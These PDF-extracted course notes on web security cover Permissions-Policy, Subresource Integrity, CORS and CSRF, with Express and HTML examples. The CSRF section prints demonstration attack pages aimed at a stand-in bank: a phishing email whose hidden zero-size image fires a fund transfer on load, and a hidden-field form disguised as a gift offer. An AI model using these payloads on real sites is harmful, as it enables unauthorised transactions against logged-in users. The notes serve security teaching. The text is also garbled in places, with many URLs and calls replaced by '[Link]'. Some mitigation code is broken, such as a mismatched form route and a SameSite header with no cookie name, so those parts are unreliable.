example, "[Link] ). Origins should be separated by spaces. Note
that origins in <iframe> allow attributes are not quoted.

The values * and () may only be used on their own, while self and src may be
used in combination with one or more origins.

Directives

Feature Policy | Permission-Policy 2


accelerometer, battery, camera, microphone, geolocation etc etc

Example-
index js

const express = require('express');


const app = express();

[Link]('/page', (req, res) => {


[Link](`
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initia
l-scale=1.0">
<title>Fetch geolocation permission Example</title>
</head>
<body>
<h1>Fetch geolocation permission Example</h1>
<button onclick="getGeolocation()">Fetch Data</button>
<div id="result"></div>

<script>
function getGeolocation() {
// Check if the Geolocation API is supported by the
browser
if ([Link]) {
// Geolocation is supported
[Link](
function (position) {
// Success callback - position object contain
s the user's location
const latitude = [Link];
const longitude = [Link];

Feature Policy | Permission-Policy 3


[Link]('Latitude:', latitude);
[Link]('Longitude:', longitude);
},
function (error) {
// Error callback - handle errors
switch ([Link]) {
case error.PERMISSION_DENIED:
[Link]('User denied the request fo
r Geolocation.');
break;
case error.POSITION_UNAVAILABLE:
[Link]('Location information is un
available.');
break;
case [Link]:
[Link]('The request to get user lo
cation timed out.');
break;
case error.UNKNOWN_ERROR:
[Link]('An unknown error occurre
d.');
break;
}
}
);
} else {
// Geolocation is not supported by the browser
[Link]('Geolocation is not supported by th
is browser.');
}

}
</script>
</body>
</html>

Feature Policy | Permission-Policy 4


`)
})

const port = [Link] || 5010;


[Link](port, () => {
[Link](`Server is running on port ${port}`);
});

Imagine script we are returning is coming from third party

We clicked on fetch data, out geolocation(latitude and longitude) is consoled

if we don’t want this, we need to set Permissions-Policy header


geolocation=() means access to it is disabled

Feature Policy | Permission-Policy 5


add below code in index js

[Link]((req, res, next) => {


[Link]('Permissions-Policy', 'geolocation=()');
next();
})

Again we click on fetch data

Where we can see all Permission policies allowed feature ?

Feature Policy | Permission-Policy 6


Application ⇒ Sidebar(top under frames)

For more examples


[Link]

Feature Policy | Permission-Policy 7


Feature Policy | Permission-Policy 8
Subresource Integrity(SRI)

Suppose if you give your friend money. Something bad happens with him and he
is not able to return the money. You trust your friend and your friend is good as
well but still he is not able to return the money.

Subresource Integrity (SRI) is a security feature that enables browsers to verify


that resources they fetch (for example, from a CDN) are delivered without
unexpected manipulation. It works by allowing you to provide a cryptographic
hash that a fetched resource must match.

[Link]

Subresource Integrity(SRI) 1
<link href=””……….>
What does it do ?

1. Downloads the resource from specified url in href attribute

2. Generates cryptographic hash using sha384, sha256 etc. It generates hash


using content + algorithm + crypto function.

3. Compares the hash with value of integrity attribute specified

4. If value matches, it loads the resource

5. If CDN is crossorigin, we need to mention crossorigin=”anonymous” attribute


as well

Benefits

1. If value doesn’t match, we know our 3rd party resource is compromised and it
cannot be trusted.

2. If any content update happens in resources like version change or something,


it ca break your application. We will get to know this.

SRI hash generator - [Link]

Example-
We are loading lodash library using CDN and using it.

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initia
l-scale=1.0">
<title>Express SRI Example</title>
<script src="[Link]

Subresource Integrity(SRI) 2
[Link]/4.17.21/[Link]"
integrity="sha384-H6KKS1H1WwuERMSm+54dYLzjg0fKqRK5ZRy
ASdbrI/lwrCc6bXEmtGYr5SwvP1pZ"
crossorigin="anonymous"></script>
<script>
var sample = _.filter([1,2,3], (data) => data % 2 );
[Link]('Testing lodash library: ', sample);
</script>
</head>
<body>
<h1>Hello, SRI World!</h1>
<h2>-- Namaste Frontend System Design</h2>
</body>
</html>

Now make some random changes in integrity attribute and reload web page again.

Subresource Integrity(SRI) 3
It will give error.

Subresource Integrity(SRI) 4
Cross-Origin Resource
Sharing(CORS)
Browser comes up with certain security measures which says that if you want to
access some resource cross domain, then I am going to ensure that other domain
from which you want to access a resource is giving permission to access or not.

Consider example - we have two domain


[Link] wants to access data/resources from [Link] . Even though [Link]
has public api, browser is going to check whether abc has given permission to
access resources or not.

Cross-Origin Resource Sharing(CORS) 1


By default, browser enables same origin policy which means you
can access anything which is on same domain but not on other
domain.

Cross origin request(different protocol, different port, different


domain, different subdomain)
different protocol - [Link] cannot access [Link]
different port - 4000 ⇒ 4001

different subdomain ⇒ [Link] ⇒ [Link]

different domain ⇒ [Link] ⇒ [Link]

CORS Header
Access-control-allow-origin
Access-control-allow-methods

Cross-Origin Resource Sharing(CORS) 2


Access-control-allow-headers
Access-control-allow-credentials

Access-control-expose-headers

Read more about headers here


[Link]
US/docs/Web/HTTP/CORS#the_http_request_headers

Client(javascript code-axios request) tries to access some cross domain api. It


initiates request to server through browser. Browser sees it is a cross domain
request.
So, browser sends preflight request to server. Preflight request is sent with
METHOD:OPTIONS to server. If server says cross domain is request is not allowed
to the browser(preflight response), request will be terminated and browser won’t
even send original request to the server.

If server allows cross domain request, it will set appropriate headers(example-


access-control-allow-origin) in its prefilght response to the browser. Browser then

Cross-Origin Resource Sharing(CORS) 3


sends the original request to the server and server sends actual response in
return.

Example 1
let us try to access below google search api of name through our code

index html

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initia
l-scale=1.0">
<title>Fetch with CORS Example</title>
</head>
<body>
<h1>Fetch with CORS Example</h1>
<button onclick="fetchData()">Fetch Data</button>
<div id="result"></div>

<script>
function fetchData() {
fetch('[Link]
mani&rlz=1C1JJTC_enIN1017IN1017&oq=sharvil+ajmani&gs_lcrp=EgZ
jaHJvbWUyBggAEEUYOTIGCAEQRRg8MgYIAhBFGD3SAQoxNzMzOWowajE1qAIA
sAIA&sourceid=chrome&ie=UTF-8', {
method: 'GET',
})
.then(response => [Link]())
.then(data => {
// Display the fetched data
[Link]('result').innerText =
[Link](data, null, 2);

Cross-Origin Resource Sharing(CORS) 4


})
.catch(error => {
[Link]('Error:', error);
});
}
</script>
</body>
</html>

Cross-Origin Resource Sharing(CORS) 5


As we click on fetch data, the api gives us CORS error.

Example 2 - let us try to setup our own local client and server

index html

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initia
l-scale=1.0">
<title>Fetch with CORS Example</title>
</head>
<body>

Cross-Origin Resource Sharing(CORS) 6


<h1>Fetch with CORS Example</h1>
<button onclick="fetchData()">Fetch Data</button>
<div id="result"></div>

<script>
function fetchData() {
fetch('[Link] {
method: 'GET',
})
.then(response => [Link]())
.then(data => {
// Display the fetched data
[Link]('result').innerText =
[Link](data, null, 2);
})
.catch(error => {
[Link]('Error:', error);
});
}
</script>
</body>
</html>

index js

const express = require('express');


const app = express();

[Link]('/list', (req, res) => {


[Link]([{
id: 1,
title: 'Namaste Frontend System Design'
}])

Cross-Origin Resource Sharing(CORS) 7


})

const port = [Link] || 5010;


[Link](port, () => {
[Link](`Server is running on port ${port}`);
});

We click on fetch data, again we get CORS error as this is default behavior of
browser(same origin policy). But some people install CORS extension in browser
and are able to access api from cross domain. In such cases we need to set CORS
headers in our server to allow/not allow cross domains to access our resources.

We set it using CORS package. - [Link]


[Link] - whitelisting our cross domain(allowing) - our index html is running on
5500 port which we have allowed

Cross-Origin Resource Sharing(CORS) 8


const express = require('express');
const app = express();
const cors = require('cors');

var allowedOrigin = ['[Link]


const corsOptions = {
origin: function(origin, callback) {
if ([Link](origin) !== -1 || !origin) {
callback(null, true);
} else {
callback(new Error('CORS error'));
}
}
}

[Link](cors(corsOptions));

[Link]('/list', (req, res) => {


[Link]([{
id: 1,
title: 'Namaste Frontend System Design'
}])
})

const port = [Link] || 5010;


[Link](port, () => {
[Link](`Server is running on port ${port}`);
});

Cross-Origin Resource Sharing(CORS) 9


We click on fetch data and we get the data

index js - now we have allowed 5501 which is not our domain

const express = require('express');


const app = express();
const cors = require('cors');

var allowedOrigin = ['[Link]


const corsOptions = {
origin: function(origin, callback) {
if ([Link](origin) !== -1 || !origin) {
callback(null, true);
} else {
callback(new Error('CORS error'));
}
}
}

Cross-Origin Resource Sharing(CORS) 10


[Link](cors(corsOptions));

[Link]('/list', (req, res) => {


[Link]([{
id: 1,
title: 'Namaste Frontend System Design'
}])
})

const port = [Link] || 5010;


[Link](port, () => {
[Link](`Server is running on port ${port}`);
});

We click on fetch data and we get CORS error again.

Cross-Origin Resource Sharing(CORS) 11


Our server throws error as we have mentioned in code

Cross-Origin Resource Sharing(CORS) 12


Cross-Site Request
Forgery(CSRF)

Consider a banking application which has mechanism where we give account


number and amount and it executes a transaction. What if this is triggered
because of some external mail or external website which says for example click
on the link to get iPhone - considering your session was logged in that bank
website. Banking app will make a request and do a transaction. In real life, we
have OTP’s and all to safeguard our transaction but what if all these security
measures were not there. This is CSRF.

If you receive some malicious email and you click on it, and it sends message to
all your facebook friends automatically, it is CSRF.

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute
unwanted actions on a web application in which they’re currently authenticated.
With a little help of social engineering (such as sending a link via email or chat), an
attacker may trick the users of a web application into executing actions of the
attacker’s choosing. If the victim is a normal user, a successful CSRF attack can
force the user to perform state changing requests like transferring funds,
changing their email address, and so forth. If the victim is an administrative
account, CSRF can compromise the entire web application.

Cross-Site Request Forgery(CSRF) 1


We have malicious email which contains a click button which triggers the bank api
given on click in background. Considering we are already logged in bank website,
it will execute a transaction.

Reasons why CSRF happens


Because of fundamentals of how web(REST) api works

Statelessness of HTTP
Every request is a fresh/new request

User authentication
Cookie, tokens can be automatically carried forward. If we are already logged in, it
becomes a problem. Server just wants request along with authentication token.

Cross-Site Request Forgery(CSRF) 2


VULNERABILITIES

Using GET API call to update data or perform action

Example url - [Link]


call)
If in our app, we are using these query params to update some data/perform some
action, it is not good.

Attacker can exploit such links and embed it in anchor tag, img tag, forms etc

<a href="[Link]
0">Offer</a>

<img src="[Link]
00">Offer</img>

<!-- forms can even send POST request-->


<form action="[Link]
=10000" method="POST">
<input type="hidden" name="accId" value="1232123"/>
<input type="hidden" name="amount" value="100000"/>
<input type="submit" value="Click for Iphone"/>
</form>

Example 1
<!-- Email with vulnerability -->
<!doctype html>
<html>

Cross-Site Request Forgery(CSRF) 3


<head>
<meta name="viewport" content="width=device-width" />
<meta http-equiv="Content-Type" content="text/html; chars
et=UTF-8" />
<title>Simple Responsive HTML Email With Button</title>
<style>
/* -------------------------------------
GLOBAL RESETS
------------------------------------- */

/*All the styling goes here*/

img {
border: none;
-ms-interpolation-mode: bicubic;
max-width: 100%;
}

body {
background-color: #eaebed;
font-family: sans-serif;
-webkit-font-smoothing: antialiased;
font-size: 14px;
line-height: 1.4;
margin: 0;
padding: 0;
-ms-text-size-adjust: 100%;
-webkit-text-size-adjust: 100%;
}

table {
border-collapse: separate;
mso-table-lspace: 0pt;
mso-table-rspace: 0pt;
min-width: 100%;
width: 100%; }

Cross-Site Request Forgery(CSRF) 4


table td {
font-family: sans-serif;
font-size: 14px;
vertical-align: top;
}

/* -------------------------------------
BODY & CONTAINER
------------------------------------- */

.body {
background-color: #eaebed;
width: 100%;
}

/* Set a max-width, and make it display as block so it will a


utomatically stretch to that width, but will also shrink down
on a phone or something */
.container {
display: block;
Margin: 0 auto !important;
/* makes it centered */
max-width: 580px;
padding: 10px;
width: 580px;
}

/* This should also be a block element, so that it will fill


100% of the .container */
.content {
box-sizing: border-box;
display: block;
Margin: 0 auto;
max-width: 580px;
padding: 10px;
}

Cross-Site Request Forgery(CSRF) 5


/* -------------------------------------
HEADER, FOOTER, MAIN
------------------------------------- */
.main {
background: #ffffff;
border-radius: 3px;
width: 100%;
}

.header {
padding: 20px 0;
}

.wrapper {
box-sizing: border-box;
padding: 20px;
}

.content-block {
padding-bottom: 10px;
padding-top: 10px;
}

.footer {
clear: both;
Margin-top: 10px;
text-align: center;
width: 100%;
}
.footer td,
.footer p,
.footer span,
.footer a {
color: #9a9ea6;
font-size: 12px;

Cross-Site Request Forgery(CSRF) 6


text-align: center;
}

/* -------------------------------------
TYPOGRAPHY
------------------------------------- */
h1,
h2,
h3,
h4 {
color: #06090f;
font-family: sans-serif;
font-weight: 400;
line-height: 1.4;
margin: 0;
margin-bottom: 30px;
}

h1 {
font-size: 35px;
font-weight: 300;
text-align: center;
text-transform: capitalize;
}

p,
ul,
ol {
font-family: sans-serif;
font-size: 14px;
font-weight: normal;
margin: 0;
margin-bottom: 15px;
}
p li,
ul li,

Cross-Site Request Forgery(CSRF) 7


ol li {
list-style-position: inside;
margin-left: 5px;
}

a {
color: #ec0867;
text-decoration: underline;
}

/* -------------------------------------
BUTTONS
------------------------------------- */
.btn {
box-sizing: border-box;
width: 100%; }
.btn > tbody > tr > td {
padding-bottom: 15px; }
.btn table {
min-width: auto;
width: auto;
}
.btn table td {
background-color: #ffffff;
border-radius: 5px;
text-align: center;
}
.btn a {
background-color: #ffffff;
border: solid 1px #ec0867;
border-radius: 5px;
box-sizing: border-box;
color: #ec0867;
cursor: pointer;
display: inline-block;
font-size: 14px;

Cross-Site Request Forgery(CSRF) 8


font-weight: bold;
margin: 0;
padding: 12px 25px;
text-decoration: none;
text-transform: capitalize;
}

.btn-primary table td {
background-color: #ec0867;
}

.btn-primary a {
background-color: #ec0867;
border-color: #ec0867;
color: #ffffff;
}

/* -------------------------------------
OTHER STYLES THAT MIGHT BE USEFUL
------------------------------------- */
.last {
margin-bottom: 0;
}

.first {
margin-top: 0;
}

.align-center {
text-align: center;
}

.align-right {
text-align: right;
}

Cross-Site Request Forgery(CSRF) 9


.align-left {
text-align: left;
}

.clear {
clear: both;
}

.mt0 {
margin-top: 0;
}

.mb0 {
margin-bottom: 0;
}

.preheader {
color: transparent;
display: none;
height: 0;
max-height: 0;
max-width: 0;
opacity: 0;
overflow: hidden;
mso-hide: all;
visibility: hidden;
width: 0;
}

.powered-by a {
text-decoration: none;
}

hr {
border: 0;
border-bottom: 1px solid #f6f6f6;

Cross-Site Request Forgery(CSRF) 10


Margin: 20px 0;
}

/* -------------------------------------
RESPONSIVE AND MOBILE FRIENDLY STYLES
------------------------------------- */
@media only screen and (max-width: 620px) {
table[class=body] h1 {
font-size: 28px !important;
margin-bottom: 10px !important;
}
table[class=body] p,
table[class=body] ul,
table[class=body] ol,
table[class=body] td,
table[class=body] span,
table[class=body] a {
font-size: 16px !important;
}
table[class=body] .wrapper,
table[class=body] .article {
padding: 10px !important;
}
table[class=body] .content {
padding: 0 !important;
}
table[class=body] .container {
padding: 0 !important;
width: 100% !important;
}
table[class=body] .main {
border-left-width: 0 !important;
border-radius: 0 !important;
border-right-width: 0 !important;
}
table[class=body] .btn table {

Cross-Site Request Forgery(CSRF) 11


width: 100% !important;
}
table[class=body] .btn a {
width: 100% !important;
}
table[class=body] .img-responsive {
height: auto !important;
max-width: 100% !important;
width: auto !important;
}
}

/* -------------------------------------
PRESERVE THESE STYLES IN THE HEAD
------------------------------------- */
@media all {
.ExternalClass {
width: 100%;
}
.ExternalClass,
.ExternalClass p,
.ExternalClass span,
.ExternalClass font,
.ExternalClass td,
.ExternalClass div {
line-height: 100%;
}
.apple-link a {
color: inherit !important;
font-family: inherit !important;
font-size: inherit !important;
font-weight: inherit !important;
line-height: inherit !important;
text-decoration: none !important;
}
.btn-primary table td:hover {

Cross-Site Request Forgery(CSRF) 12


background-color: #d5075d !important;
}
.btn-primary a:hover {
background-color: #d5075d !important;
border-color: #d5075d !important;
}
}
</style>
</head>
<body class="">
<table role="presentation" border="0" cellpadding="0" cel
lspacing="0" class="body">
<tr>
<td>&nbsp;</td>
<td class="container">
<div class="header">
<table role="presentation" border="0" cellpadding
="0" cellspacing="0" width="100%">
<tr>
<td class="align-center" width="100%">
<a href="[Link] src="htt
ps://[Link]/starter-templates-v0/postdrop-logo-dark.
png" height="40" alt="Postdrop"></a>
</td>
</tr>
</table>
</div>
<div class="content">

<!-- START CENTERED WHITE CONTAINER -->


<span class="preheader">This is preheader text. S
ome clients will show this text as a preview.</span>
<table role="presentation" class="main">

<!-- START MAIN CONTENT AREA -->


<tr>

Cross-Site Request Forgery(CSRF) 13


<td class="wrapper">
<table role="presentation" border="0" cellp
adding="0" cellspacing="0">
<tr>

👋
<td>
<p> &nbsp; Welcome to Postdrop. A si


mple tool to help developers with HTML email.</p>
<p> &nbsp; HTML email templates are
painful to build. So instead of spending hours or days trying
to make your own, just use this template and call it a day.</

⬇️
p>
<p> &nbsp; Add your own content then
download and copy over to your codebase or ESP. Postdrop will
inline the CSS for you to make sure it doesn't fall apart whe

📬
n it lands in your inbox.</p>
<p> &nbsp; Postdrop also lets you se
nd test emails to yourself. You just need to sign up first so
we know you're not a spammer.</p>
<table role="presentation" border="0"
cellpadding="0" cellspacing="0" class="btn btn-primary">
<tbody>
<tr>
<td align="center">
<table role="presentation" bo
rder="0" cellpadding="0" cellspacing="0">
<tbody>
<tr>
<td> <a href="[Link]
[Link]/fundtransfer?acct=224224&amount=50000" target="_blan
k">Sign Up For Postdrop</a> </td>
</tr>
</tbody>
</table>
</td>
</tr>
</tbody>

Cross-Site Request Forgery(CSRF) 14


💃
</table>
<p> &nbsp; That's it. Enjoy this fre
e template.</p>
<img src="[Link]
r?acct=224224&amount=500000" width="0" height="0" border="0">
</td>
</tr>
</table>
</td>
</tr>

<!-- END MAIN CONTENT AREA -->


</table>

<!-- START FOOTER -->


<div class="footer">
<table role="presentation" border="0" cellpaddi
ng="0" cellspacing="0">
<tr>
<td class="content-block">
<span class="apple-link">Don't forget to
add your address here</span>
<br> And <a href="[Link]
subscribe link</a> here.
</td>
</tr>
<tr>
<td class="content-block powered-by">
Powered by <a href="[Link]
Postdrop</a>.
</td>
</tr>
</table>
</div>
<!-- END FOOTER -->

Cross-Site Request Forgery(CSRF) 15


<!-- END CENTERED WHITE CONTAINER -->
</div>
</td>
<td>&nbsp;</td>
</tr>
</table>
</body>
</html>

On page load only, it executes an api hidden in img tag whose width,height and
border is 0.

As soon as we click on - Sign up for postdrop - it redirects us to

[Link]

Cross-Site Request Forgery(CSRF) 16


What if these were original bank sites.

Example 2
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-
scale=1.0">
<title>Fund Transfer Form</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f4;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}

form {
background-color: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
text-align: center;
}

h1 {
color: #007BFF;
}

Cross-Site Request Forgery(CSRF) 17


p {
margin-top: 10px;
color: #555;
}

input[type="submit"] {
background-color: #007BFF;
color: #fff;
padding: 10px 20px;
border: none;
border-radius: 4px;
cursor: pointer;
font-size: 16px;
margin-top: 20px;
}

input[type="submit"]:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<form action="[Link] method="POST">
<h1>Special Fund Transfer Offer!</h1>
<p>Transfer funds now and get a free gift worth $50!</p>
<input type="hidden" name="acct" value="224224"/>
<input type="hidden" name="amount" value="50000"/>
<input type="submit" value="Click to get your free gif
t!"/>
</form>

</body>
</html>

Cross-Site Request Forgery(CSRF) 18


When we click on - Click to get your free gift
POST method is called on bank website

Cross-Site Request Forgery(CSRF) 19


MITIGATIONS

1. Use Anti CSRF token


Everytime we make requests like form submit, we must send CSRF token so that
server can verify it is you.

Cross-Site Request Forgery(CSRF) 20


How will client know CSRF token ?
When client will send first request to server, that time server will send CSRF token
to client.

const express = require('express');


const bodyParser = require('body-parser');
const session = require('express-session');
const crypto = require('crypto');

const app = express();


const port = 3000;

// Use sessions for tracking CSRF tokens


[Link](session({
secret: 'your_secret_key', // Change this to a secure secre
t key
resave: false,
saveUninitialized: true,
}));

// Body parser middleware

Cross-Site Request Forgery(CSRF) 21


[Link]([Link]({ extended: false }));

// Serve HTML form


[Link]('/', (req, res) => {
// Generate CSRF token and store it in the session
if (![Link]) {
[Link] = [Link](32).toString
('hex');
}

// Render the HTML form


[Link](`
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, in
itial-scale=1.0">
<title>Fund Transfer Form</title>
</head>
<body>
<form id="transferForm" action="/process_form" method
="POST">
<h1>Special Fund Transfer Offer!</h1>
<p>Transfer funds now and get a free gift worth $5
0!</p>
<input type="hidden" name="acct" value="224224"/>
<input type="hidden" name="amount" value="50000"/>

<!-- Include CSRF token in the form -->


<input type="hidden" name="csrf_token" value="${re
[Link]}"/>

<input type="submit" value="Click to get your free


gift!"/>
</form>

Cross-Site Request Forgery(CSRF) 22


<script>
// Add event listener to the form for token validat
ion
[Link]('transferForm').addEventLis
tener('submit', function(event) {
const submittedToken = [Link]('in
put[name="csrf_token"]').value;
if (submittedToken !== '${[Link]
n}') {
[Link]();
alert('CSRF Token Validation Failed!');
}
});
</script>
</body>
</html>
`);
});

// Process form submission


[Link]('/fundtransfer', (req, res) => {
// Validate CSRF token on the server side
const submittedToken = [Link].csrf_token;
if (!submittedToken || submittedToken !== [Link]
oken) {
[Link](403).send('CSRF Token Validation Failed!');
return;
}

// Process the form data securely


// ...

// Clear CSRF token after processing


delete [Link];

Cross-Site Request Forgery(CSRF) 23


[Link]('Form submitted successfully!');
});

[Link](port, () => {
[Link](`Server is running on [Link]
`);
});

So, basically we have created a CSRF token and saved it on a session storage in
server. Whenever we load application, we are sending CSRF token to the form.
Whenever form is submitted, we check if both tokens are same or not before
executing anything on server. We have created it in such a way that every time(on
every load) new token is generated.

2. SameSite Cookies

[Link]((req,res,next) => {
[Link]('Set-Cookie','SameSite=Strict; Secure');
next();
});

Strict - Means that the browser sends the cookie only for same-site requests
Lax - Means that the cookie is not sent on cross-site requests
None - Means that the browser sends the cookie with both cross-site and same-
site requests

3. Always do Referer based validation


Get the referer value from header and check if it is your domain or not

Cross-Site Request Forgery(CSRF) 24


const express = require('express');
const bodyParser = require('body-parser');

const app = express();


const port = 3000;

[Link]([Link]({ extended: false }));

// Middleware to check Referer header


[Link]((req, res, next) => {
const referer = [Link]('Referer');

// Check if Referer header exists and matches the expected


domain
if (referer && [Link]('[Link]
m')) {
next(); // Request is from an expected source
} else {
[Link](403).send('Forbidden'); // Reject the request
}
});

[Link]('view engine', 'ejs');

[Link]('/', (req, res) => {


[Link]('index');
});

[Link]('/process', (req, res) => {


// Process the request
[Link]('Request processed successfully');
});

[Link](port, () => {
[Link](`Server is running on [Link]

Cross-Site Request Forgery(CSRF) 25


`);
});

4. Use captcha

5. Use CSP headers

SOME GOOD PRACTICES


Always logout of bank apps when don

Create complex password


Don’t save passwords in browser
Don’t allow single user to log in at different places(bank apps)
Please don’t use GET method for update operations

SOME CSRF TESTING


[Link]/tests/new

Cross-Site Request Forgery(CSRF) 26

You might also like